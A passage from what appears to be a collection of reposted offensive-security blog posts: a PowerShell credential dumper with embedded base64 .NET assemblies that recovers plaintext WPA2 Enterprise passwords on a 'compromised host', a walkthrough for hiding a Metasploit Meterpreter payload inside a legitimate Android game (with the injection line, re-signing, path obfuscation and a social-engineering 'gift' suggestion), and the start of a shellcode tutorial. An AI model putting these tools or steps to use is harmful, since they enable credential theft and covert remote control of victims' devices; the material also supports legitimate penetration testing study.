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gACAY0AJgDDJAAAAACGGAoBmAApALAkAAAAAJEY+wMnASkAzCQAAAAAkQBfAaQAKQBQJQAAAACGGAoBmAAqAAAAAQBkAQAAAgBvAQAAAwB9AQAABACGAQAABQCQAQAABgCYAQAABwCgAQAAAQCgAQAAAgCsAQAAAwB9AQAABACGAQAABQCQAQAABgCYAQAABwBkAQAAAQC7AQAAAQC+AQAAAgDDAQAAAQDIAQAAAQDSAQAAAgDIAQAAAQDSAQAAAgDIAQAAAwDaAQAAAQDSAQAAAgDIAQAAAwDaAQAABADiAQAAAQDSAQAAAgDuAQAAAwD9AQAABADiAQAAAQAKAgAAAQAKAgIAAgDiAQAAAQAKAgAAAgDaAQIAAwDiAQAAAQBBAgAAAgD9AQIAAwDiAQAAAQBRAiEACgGYACkACgGqADEACgGYADkACgGvAEEA6gK0AFEABAO7AFEAEAPBAGEAJAM+AGEAKQPGAGkACgGvAFEAPwPMAHEASwOcAHkAZgPVAHkAbwPaAIEAgAPgAGkACgHmAFEAjwPtAIkACgGqAFEAPwPxAGEAxgPGAFEA1AP6AIEA4AMbAXkA8QMhAWEAAgTBAAkACgGYAJEACgErAaEACgGYAKkASgQxAakASgQ3AWkAVAQ+AakASgRCAWkAYARHAQgABAANAAgACAASAAgAMAANAAgANACfAC4AEwBWAS4AGwBfAQAC2wANAP8AFwFMAccCRgEDAKsAAQBGAQUAvAABAASAAAAAAAAAAAAAAAAAAAAAABQAAAAEAAAAAAAAAAAAAAABAFAAAAAAAAQAAAAAAAAAAAAAAAEAWQAAAAAAAwACAAQAAgAFAAIAAAAAPE1vZHVsZT4ARFBBUEkuZGxsAERQQVBJAERBVEFfQkxPQgBDUllQVFBST1RFQ1RfUFJPTVBUU1RSVUNUAEtleVR5cGUARFBBUElUZXN0AG1zY29ybGliAFN5c3RlbQBPYmplY3QAVmFsdWVUeXBlAEVudW0AQ1JZUFRQUk9URUNUX1VJX0ZPUkJJRERFTgBDUllQVFBST1RFQ1RfTE9DQUxfTUFDSElORQBDcnlwdFByb3RlY3REYXRhAENyeXB0VW5wcm90ZWN0RGF0YQBOdWxsUHRyAEluaXRQcm9tcHQASW5pdEJMT0IAZGVmYXVsdEtleVR5cGUARW5jcnlwdABEZWNyeXB0AC5jdG9yAGNiRGF0YQBwYkRhdGEAY2JTaXplAGR3UHJvbXB0RmxhZ3MAaHduZEFwcABzelByb21wdAB2YWx1ZV9fAFVzZXJLZXkATWFjaGluZUtleQBNYWluAHBQbGFpblRleHQAc3pEZXNjcmlwdGlvbgBwRW50cm9weQBwUmVzZXJ2ZWQAcFByb21wdABkd0ZsYWdzAHBDaXBoZXJUZXh0AHBzekRlc2NyaXB0aW9uAHBzAGRhdGEAYmxvYgBwbGFpblRleHQAa2V5VHlwZQBlbnRyb3B5AGRlc2NyaXB0aW9uAHBsYWluVGV4dEJ5dGVzAGVudHJvcHlCeXR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| Out-Null
    
    [Reflection.Assembly]::Load([Convert]::FromBase64String("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YgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")) | Out-Null

    $NullReferenceString = ""
    $ProtectedFiles = @()
    $ProtectedFiles += Get-ProtectedData
    if($ProtectedFiles.Length -eq 0)
    {
        Write-Output "Error: No DPAPI binary data was retrieved."
        return
    }
    Write-Verbose "Harvested $($ProtectedFiles.Length) files."

    # https://github.com/ash47/EnterpriseWifiPasswordRecover
    [byte[]]$PasswordPattern = @(0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01)
    [byte[]]$UsernamePattern = @(0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00)

    $ProtectedFiles | ForEach-Object {
        
        # calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description)

        $DecryptedData = [DPAPI]::Decrypt([IO.File]::ReadAllBytes("C:\windows\temp\$_"), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString)

        $UsernameOffset = [Pattern.Search]::Locate($DecryptedData, $UsernamePattern)[0]
        $PasswordOffset = [Pattern.Search]::Locate($DecryptedData, $PasswordPattern)[0]

        # Here we will have Username and Domain
        $DomainAndUsername = [Text.Encoding]::UTF8.GetString($DecryptedData[($UsernameOffset+8)..$PasswordOffset]) | Out-String
        $EncryptedPassword = $DecryptedData[$PasswordOffset..$DecryptedData.Length]
        
        # Removes last null bytes. (No Padding will be superior to 16 bytes)
        foreach($i in 0..16)
        {
            $EncryptedPassword = Remove-LastNullByte -Array $EncryptedPassword
        }

        $DumpFile = "C:\windows\temp\password.bin"
        [IO.File]::WriteAllBytes($DumpFile, $EncryptedPassword)

        # SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it.
        $ReversionStatus = [Revert]::RevertBack();
        if($ReversionStatus -eq $false)
        {
            Write-Output "Could not revert back to user."
            return
        }

        # Last stage, if the line below succeeds, we have a plaintext password.
        $DecryptedPassword = [Text.Encoding]::UTF8.GetString([DPAPI]::Decrypt([IO.File]::ReadAllBytes($DumpFile), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString))
        Write-Output "Username: $DomainAndUsername"
        Write-Output "Password: $DecryptedPassword"
        
    } 

}


function Remove-LastNullByte
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [byte[]]$Array,

        [Parameter(Mandatory = $false, Position = 1)]
        [byte]$Banned
    )

    $ArrayLength = $Array.Length - 1
    if($Array[$ArrayLength] -eq $Banned)
    {
        return $Array[0..($ArrayLength-1)]
    }
    return $Array
}

<#
.SYNOPSIS
This file uses the registry hive HKCU to retrieve binary data
that is protected by DPAPI functions to hide WPA Enterprise 
passwords.

#>
function Get-ProtectedData
{
    [CmdletBinding()]
    # File Array
    $Files = @();

    # Retrieves data to be used by DPAPI decrypt function
    Get-ChildItem HKCU:\Software\Microsoft\Wlansvc\UserData\Profiles\ | ForEach-Object {
        $currentFile = Get-TemporaryFileName
        $Files += $currentFile
        Write-Verbose "Created file $currentFile"
        [IO.File]::WriteAllBytes("C:\windows\temp\$currentFile", (Get-ItemProperty $_.PSPath -Name MSMUserData | Select-Object MSMUserData).MSMUserData) 
    }

    return $Files
}

function Get-TemporaryFileName
{
    return ([IO.Path]::GetRandomFileName()).Split(".")[0] + ".tmp"
}

Execute the above script to do all the work necessary to retrieve all WPA2 Enterprise domain credentials stored in this user session:

Screenshot

This is a very simple technique that might be useful for you on a compromised host where mimikatz only revealed to you a NTLM hash, but not a real plaintext password.

 

Embedding Meterpreter in Android APK

( Original text by Joff Thyer )

Mobile is everywhere these days. So many applications in our daily life are being migrated towards a cloud deployment whereby the front end technology is back to the days of thin clients. As the pendulum swings yet again, our thin client can be anything from a JavaScript browser framework to a mobile enabled frontend such as Objective-C on Apple iOS, or Java based on Android.

Looking at malware, our friends at Apple continue to maintain the 5-guys in a cave paradigm of attempting to vet all apps that enter the iOS app store. While it is a noble effort, there are still instances where malware creeps through the door. Unlike Apple, the Android marketplace is an open approach that allows anyone to contribute to the play store, and moreover represents a majority of the mobile market share. In addition, there are various third party sites that allow direct download of Android applications package files (APK’s).


The Metasploit project allows a pentester to generate Android payloads with a pretty highly functional meterpreter command channel that can be loaded onto an Android device. Typically, loading this APK will be through the Android debugger “adb” through side loading. From a pen tester perspective, something that is fun to do is to combine a legitimate (perhaps fun) app with Meterpreter, and side load that app onto an Android device. Naturally, you would probably consider sending that device to a “friend” as a gift or some similar social engineering ruse.


Android applications are written in Java which compiles down to a Dalvik executable format known as DEX. The compiled version of an application is a ZIP file of DEX bytecode files. The Dalvik virtual machine on Android has been more recently replaced with Android RunTime (ART) which performs additional optimization and compiles the DEX bytecode into native assembly code. The Dalvik VM primarily performs Just In Time (JIT) interpretation of the majority of bytecode. ART is higher performing than the Dalvik virtual machine which only optimized portions of the bytecode for frequently executed parts of the app.

Smali/baksmali is an assembler/disassembler for Android DEX bytecode. An Android tool named “apktool” enables the disassembling of zipped DEX (APK files) into smali files, and reassembling of smali files back to DEX and subsequently to the zipped APK format. We can use this tool to disassemble, and modify an existing APK file. In this context, we can use the tool to disassemble, and add a additional static entry point into the smali code of the initial Android Activity to kick off our Meterpreter.

Overall the steps to embed a Meterpreter into an existing APK file are as follows:

  1. Find an existing fun APK application on “apkmonk.com” or similar mirror site.
  2. Generate the Metasploit APK file.
  3. Disassemble with “apktool” both the Metasploit APK file, and the APK file we are intending to modify.
  4. Copy all of the Meterpreter smali code over to the new APK smali directory.
  5. Find the entrypoint of the code within the APK application’s AndroidManifest.xml file by looking for the intent-filter with the line:
    <action android:name="android.intent.action.MAIN"/>

    The activity name that encloses this intent-filter will be the entrypoint you are seeking.

  6. Modify the activity “.smali” file to include a line that starts up the Meterpreter stage.
  7. Copy all of the Meterpreter permissions from the Meterpreter AndroidManifest.xml into the modified APK’s AndroidManifest.xml.
  8. Re-assemble into DEX zipped format.
  9. Sign the newly created APK file with “jarsigner”, and then side load onto your target Android device.

It is much easier to understand the above steps with a concrete example. To illustrate this, I downloaded an APK file of a game called Cowboy Shooting Game from apkmonk.com.

 


Generate Your Malware APK

I then generated a Metasploit APK using the “msfvenom” command as follows.

Generate Your Malware APK

I then generated a Metasploit APK using the “msfvenom” command as follows.


Disassemble the APK Files

Both files were then disassembled (baksmaling!!!) using the “apktool” as follows:

 

 


Copy the Malware Code Into the Cowboy Tools Game

An easy way to do this is to change directory into the Metasploit APK directory, then copy all of the files under the “smali” directory into the “com.CowboyShootingGames_2018-09-22” directory. An old trick I learned from a systems administrator to backup entire directory trees using the “tar” command comes in handy whereby you pipe the output of tar into a second command which changes directory and “untars” the resulting files.

 


Find the Activity EntryPoint

Below we can see that the entry activity is listed as “com.CowboyShootingGames.MainActivity”. We know this because the XML contains an intent-filter with “android.intent.action.MAIN” within it.

 


Modify the Activity EntryPoint Smali File

As can be seen above, in this case the file is going to be named “MainActivity.smali”, and will be located in the “com/CowboyShootingGames” directory as per the periods (“.”) in the fully qualified class path.

 


Within the “MainActivity.smali” file, we are looking for the “onCreate()” method.


We need to add a single line of “smali” code right below the “onCreate()” method call to invoke our Meterpreter stage.

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V


Please note that the above is a single line of code. It is possible to obfuscate by using a different pathname than “com/metasploit/stage/Payload” however if you do that you will have to modifiy all references to the path in all of the “smali” files that are contained in the “Payload” directory, and change the directory name itself. This can be done manually but is prone to error. Continuing without any obfuscation for a moment, the final result after modification will look like the below screenshot.

 

 

Add Permissions to the Modified APK “AndroidManifest.xml” File

For the next step, use “grep” to search for all of the lines in the Metasploit “AndroidManfest.xml” file that contain the strings “uses-permission”, and “uses-feature” into the modified APK’s AndroidManiest.xml file.

 


You will need to use an editor to insert the permissions at the appropriate place in the new “AndroidManifest.xml” file. Search for an existing “use-permission” line as your guideline of where to insert the text.

 


You might end up with some duplicate permissions. You can optionally remove them but it really does not matter.

Build the New APK Package File

Now use the “apktool” again to re-assemble the resulting APK package file. The end result will be written into a “dist” directory within the APK directory itself.

 


Re-Sign the Resulting Package File

For resigning, one easy method is to use the Android debugging keystore which is built if you install Android studio. The debugging keystore will be contained within the “.android” hidden directory in your home directory on a UN*X system.

 


An alternative method is to use the Java “keytool” to generate your own self-signed keystore and sign it using the “jarsigner” tool as shown in the screenshots below.

 

At this point in time, the “final.apk” file is ready to be loaded onto an Android system using “adb”.

In this specific case, I am running a copy of “GenyMotion” which is an x86 based emulator that uses VirtualBox for a very high performing Android emulation. One of the challenges you might immediately run into is that the x86 emulation will not natively support the ARM processor. To get around this challenge, there are some ARM translation libraries available online. You would need to search for “Genymotion-ARM-Translation_v1.1.zip” and then drag the ZIP file onto a running GenyMotion Android system. Unfortunately, this is not 100% reliable, and some app crashes may still result.

One certain way to make sure an ARM APK file runs on a device is to use a hardware device itself. I have found that the Nexus 6 series of devices are nice to work with as the “rooting” kit is fairly reliable, and attaching via a USB cable for testing is not too onerous.

 


The final step is of course to try out our newly infected Cowboy Shooting game. We find out quickly, that the moment we launch the game, we get a Meterpreter shell on our KALI system which just feels so right.

 


I really don’t think I am going to take the time to learn this game, which frankly was just a random pick from “apkmonk.com”.

So Many Complicated Steps… so much can go wrong…

So after performing all of the requisite steps above, I was immediately frustrated. There are so many moving parts that the chances of error are pretty high. There are likely other tools out there which are available to use but I decided to whip up a quick Python script to automate this process. I called it “android_embedit.py” and I will warn you now, this is definitely a quick and dirty effort to get something to do the job without much effort on hardening the logic at all.

 


The idea of “android_embedit.py” is that if you supply a Metasploit generated APK file, an original APK to modify, and a keystore, it will perform all of the steps in an automated fashion and generate the result for you.

Below is an example of running the tool. All of the temporary files, and output will be stored in the “~/.ae” directory.

 

The tool also will remove the “metasploit” directory name and obfuscate it with a random string directory name automatically. You can see this result in the below screenshot in which I listed the contents of the APK “smali/com” directory. The directory named “dbarpubw” actually contains the Metasploit stager code.

 


There is much continuing fun to be had with mobile apps, and their associated application programming interfaces. It is a good idea to get familiar with the platforms as a pen tester as you will undoubtedly encounter a need to test in the mobile space before long.

I suppose you just might want to play with “Android EmbedIT” now! Well if you do, you can download from my github by visiting https://github.com/yoda66/AndroidEmbedIT.

Keep calm, and hack all the mobile things. ~Joff

 

Linux Buffer Overflows x86 – Part 3 (Shellcoding)

( Original text by SubZero0x9 )

Hello guys, this is the part 3 of the Linux buffer Overflows x86. In this part we will learn what is shellcode, why do we use it and how do we use it. In the previous two blogs, we learnt about process memory, stack region, stack operations, stack registers, attempting buffer overflow, overwriting buffer, modifying return address, manipulating program flow and program execution.
If you have not read the first two blogs, here are the links Part1 and Part2.

The main purpose behind exploiting Buffer Overflow is to spawn a reverse shell or execute arbitrary commands at least. Even if we find a vulnerable binary with stack overflow and are able to overwrite the return address, we still have to tell the binary to execute commands on our behalf. But how do we do that? Suppose we want to spawn a shell of a vulnerable binary, but the code to spawn a shell is not present in the binary. So, even if we control the flow of the binary we really can’t modify the return address to a memory address which can execute the code which spawns a shell. We saw in the previous two blogs, we were able to overwrite the buffer with any arbitrary data. This means, when the program is loaded into memory all the operations are carried out on the stack. Any user input accepted will be stored on the stack and if the program accepts malicious input (remember insufficient bound checking) it also gets stored on the stack. So instead of placing random data, if we place the code which we want to execute on to the stack it will give us the results.
Simple Right? NO !!

We can’t simply go ahead and paste the code of spawning a shell onto the buffer, because when the program is running it is loaded into the system memory and it communicates with the processor for carrying out the operations through syscalls which is understood by kernel who actually communicates with the processor to get things done(well this is a simplified statement, the actual process is too complex). Now the processor doesn’t understand C,C++, JAVA, Python, etc. it only understands the machine code which it can directly execute. And We, human beings can’t understand machine code so we write programs in high level languages. Also, machine code is mostly regarded as the lowest level representation of compiled code. Another main reason we use machine code is because of the size. The space available in the stack for operations are very limited and machines codes are really compact in that sense.

SHELLCODE

So till now it is pretty clear that the code or payload used to exploit the buffer overflow vulnerability to execute arbitrary commands is called Shellcode. Its name is derived from the fact that it was initially used to spawn a root shell. Shellcode is basically a set of machine code or set of instructions injected into the buffer of the vulnerable program. The vulnerable program then executes the shellcode.

Shellcodes are machine codes. Basically, we write a set of instructions in a high level language or assembly language then convert into hexadecimal values (these values are just a bunch of opcodes and operands understood by the processor).

We cannot run shellcode directly, instead it needs a some sort of carrier (buffer, file, process, environment variables, etc) which will be read or executed by the vulnerable software. There are many shellcode execution strategies which are used depending on the exploitability and constraints of the vulnerable software.

Shellcodes are written mainly to force the program to do actions on the behalf of the attacker. The attacker can write a specific function which will do the intended action once loaded into the same address space of the vulnerable software. Every action (well almost) in an operating system is done by calling a syscall or system calls. The shellcode will also contain a syscall for a specific action which the attacker needs to perform. Syscalls are the most important thing in the shellcode as you can force the program to perform action just by triggering a syscall.

SYSCALLS

According to wikipedia, “In computing, a system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. ”

Linux’s security mechanism (the ring model) is divided into two spaces : User Space and Kernel space. Eevery process running in the userspace has its own virtual address space and cannot access any other processes address space until explicitly allowed. When the process in the userspace wants to access the kernel space to execute some operations, it cannot directly access it. No processes in the userspace can access the kernel space.

When an userspace process tries to access the kernel, an exception is raised and prevents the process from accessing the kernel space. The userspace processes uses the syscalls to communicate with the kernel processes to carry out the operations.

